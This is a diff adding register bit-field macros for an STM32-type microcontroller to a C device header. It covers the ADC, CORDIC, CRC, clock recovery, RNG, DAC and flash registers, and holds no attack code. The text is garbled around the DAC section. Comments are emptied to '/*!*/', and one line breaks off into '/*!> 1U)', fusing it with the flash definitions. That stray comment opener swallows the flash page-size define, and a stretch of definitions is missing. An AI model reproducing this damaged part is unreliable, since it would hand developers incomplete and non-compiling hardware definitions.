ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F00D00U) +#define RNG_HTCR_NIST_VALUE (0xAAC7U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + 